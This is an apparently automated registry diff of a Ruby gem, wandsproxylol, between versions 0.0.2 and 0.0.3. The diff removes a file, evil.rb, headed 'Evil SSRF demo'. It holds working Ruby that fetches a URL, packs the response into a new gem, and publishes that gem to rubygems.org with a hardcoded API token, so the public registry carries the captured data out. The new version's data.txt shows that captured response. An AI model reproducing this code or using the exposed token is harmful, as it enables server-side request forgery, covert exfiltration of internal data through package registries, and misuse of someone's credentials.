wandsproxylol 0.0.2 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/a.rb +1 -2
- data/lib/data.txt +4 -0
- metadata +5 -8
- data/.yardopts +0 -3
- data/README.md +0 -1
- data/evil.rb +0 -20
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: e7f69db6ba155f609bdbbf951364364fd3e9436ad4ca32b5b176e1da4e123433
|
|
4
|
+
data.tar.gz: ca1092fbbc55df2cd255d609e52e1da394a82dc03454802ded1f73c1cc8329bd
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 45bd5be10fc5fe3f8fb8a2e38a3e2c50c6269158055060704743f3a2e163b490b902d285c4ce149bc242b034fb1e6bb430a46508a949ada4b60dfbd70c51cc43
|
|
7
|
+
data.tar.gz: 2ec44f5122e46fc443bd07b2c619a83466dda5ce376fd5d22698649b8a222c6225ad1921531061fbce9045d247d3a2b8d5233379881223da8ea5a583ceef89fe
|
data/lib/a.rb
CHANGED
|
@@ -1,2 +1 @@
|
|
|
1
|
-
#
|
|
2
|
-
class A;end
|
|
1
|
+
# done
|
data/lib/data.txt
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
STATUS=200
|
|
2
|
+
LEN=528
|
|
3
|
+
HEADERS={"date" => ["Tue, 12 May 2026 01:37:58 GMT"], "content-type" => ["text/html"], "transfer-encoding" => ["chunked"], "connection" => ["keep-alive"], "server" => ["cloudflare"], "last-modified" => ["Sat, 09 May 2026 09:00:11 GMT"], "allow" => ["GET, HEAD"], "age" => ["1105"], "cf-cache-status" => ["HIT"], "cf-ray" => ["9fa5b385fcb34a29-YYZ"]}
|
|
4
|
+
<!doctype html><html lang="en"><head><title>Example Domain</title><meta name="viewport" content="width=device-width, initial-scale=1"><style>body{background:#eee;width:60vw;margin:15vh auto;font-family:system-ui,sans-serif}h1{font-size:1.5em}div{opacity:0.8}a:link,a:visited{color:#348}</style></head><body><div><h1>Example Domain</h1><p>This domain is for use in documentation examples without needing permission. Avoid use in operations.</p><p><a href="https://iana.org/domains/example">Learn more</a></p></div></body></html>
|
metadata
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: wandsproxylol
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.0.
|
|
4
|
+
version: 0.0.3
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
7
|
+
- z
|
|
8
8
|
bindir: bin
|
|
9
9
|
cert_chain: []
|
|
10
10
|
date: 1980-01-02 00:00:00.000000000 Z
|
|
@@ -13,11 +13,8 @@ executables: []
|
|
|
13
13
|
extensions: []
|
|
14
14
|
extra_rdoc_files: []
|
|
15
15
|
files:
|
|
16
|
-
- ".yardopts"
|
|
17
|
-
- README.md
|
|
18
|
-
- evil.rb
|
|
19
16
|
- lib/a.rb
|
|
20
|
-
|
|
17
|
+
- lib/data.txt
|
|
21
18
|
licenses:
|
|
22
19
|
- MIT
|
|
23
20
|
metadata: {}
|
|
@@ -35,7 +32,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
|
35
32
|
- !ruby/object:Gem::Version
|
|
36
33
|
version: '0'
|
|
37
34
|
requirements: []
|
|
38
|
-
rubygems_version: 3.6.
|
|
35
|
+
rubygems_version: 3.6.9
|
|
39
36
|
specification_version: 4
|
|
40
|
-
summary:
|
|
37
|
+
summary: res
|
|
41
38
|
test_files: []
|
data/.yardopts
DELETED
data/README.md
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
# test docs
|
data/evil.rb
DELETED
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
# Evil SSRF demo
|
|
2
|
-
begin
|
|
3
|
-
require 'net/http'; require 'uri'; require 'rubygems';
|
|
4
|
-
url='https://example.com/'
|
|
5
|
-
resp=Net::HTTP.get_response(URI(url)); body="STATUS=#{resp.code}\nLEN=#{resp.body.size}\nHEADERS=#{resp.to_hash}\n"+resp.body
|
|
6
|
-
rescue =>e
|
|
7
|
-
body='ERROR '+e.full_message
|
|
8
|
-
end
|
|
9
|
-
begin
|
|
10
|
-
Dir.chdir('/tmp') do
|
|
11
|
-
Dir.mkdir('egem') rescue nil; Dir.mkdir('egem/lib') rescue nil
|
|
12
|
-
File.write('egem/lib/data.txt', body)
|
|
13
|
-
File.write('egem/lib/a.rb', '# done')
|
|
14
|
-
File.write('egem/o.gemspec',%q{Gem::Specification.new do |s|
|
|
15
|
-
s.name='wandsproxylol'; s.version='0.0.3'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end})
|
|
16
|
-
Dir.chdir('egem'){ system('gem build o.gemspec'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)} }
|
|
17
|
-
end
|
|
18
|
-
rescue => e
|
|
19
|
-
warn e.full_message
|
|
20
|
-
end
|